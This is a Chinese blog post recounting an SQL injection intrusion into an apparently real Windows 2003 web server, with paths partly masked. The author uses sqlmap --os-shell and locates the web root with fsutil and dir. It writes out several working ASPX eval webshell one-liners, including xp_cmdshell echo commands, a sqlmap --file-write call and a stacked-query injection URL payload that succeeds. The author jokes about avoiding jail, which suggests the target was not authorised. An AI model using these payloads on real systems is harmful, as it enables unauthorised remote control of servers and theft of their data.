记一次sql注入艰难上传马过程

先说一下我的思路,得到一个sql注入点,sqlmap 进行os-shell ,然后想上传webshell,首先进行cs 上线,发现无法上线cs,原因是目标系统windwos 2003 没有powershell,换一个思路,先找到web路径,然后上传webshell。找到web路径之后,发现路径带中文,os-shell写入webshell 的时候就会提示没有这个路径,然后进行一个手注发现上传成功

  1. 发现注入点,使用sqlmap进行os-shell
    在这里插入图片描述
  2. 尝试上线cs,为了更好的后续操作(失败)
    执行powershell 提示不是内部命令,(原因是windows 2003 没有安装powershell)
    在这里插入图片描述
  3. 换一个思路进行,先找到web 目录,然后进行上传webshell
    我们不知道web 目录在哪个盘,首先先看一下系统有哪些盘
    执行命令fsutil fsinfo drives
    在这里插入图片描述

然后继续查找,web路径
g: & cd \ & dir /S *.aspx dir /S 1234.aspx 查找G盘有1234.aspx文件的地方
原谅我码的太死,毕竟快过年了谁也不想去吃免费的饭
在这里插入图片描述
得到路径为G:\xxx安装包\xxxnese\xxxnese\

  1. 找到路径之后上传webshell,然后就开始了我的无脑上传webshell
    首先使用第一种方法:
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > G:\xxxx安装包\xxxnese\xxxxnese\test.aspx

发现上传失败
在这里插入图片描述
第二种方法:

exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > G:\xxxx安装包\xxxnese\xxxxnese\test.aspx'

上传失败
在这里插入图片描述
第三种方法:
使用 --file-write

sqlmap -u "xxxx"  -file-write J:\webshell\shell.aspx --file-dest G:\xxx安装包\xxxxnese\xxxxnese\test.aspx -v 2 --batch

依然失败
(当时找不到原因,后面发现是因为中文路径的原因)

第四种方法:
然后就是使用手注

?id=1';exec master..xp_cmdshell 'echo  ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> >G:\xxxx安装包\xxxxnese\xxxxnese\test.aspx'--

页面正常返回,写入成功

蚁剑连接
在这里插入图片描述

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值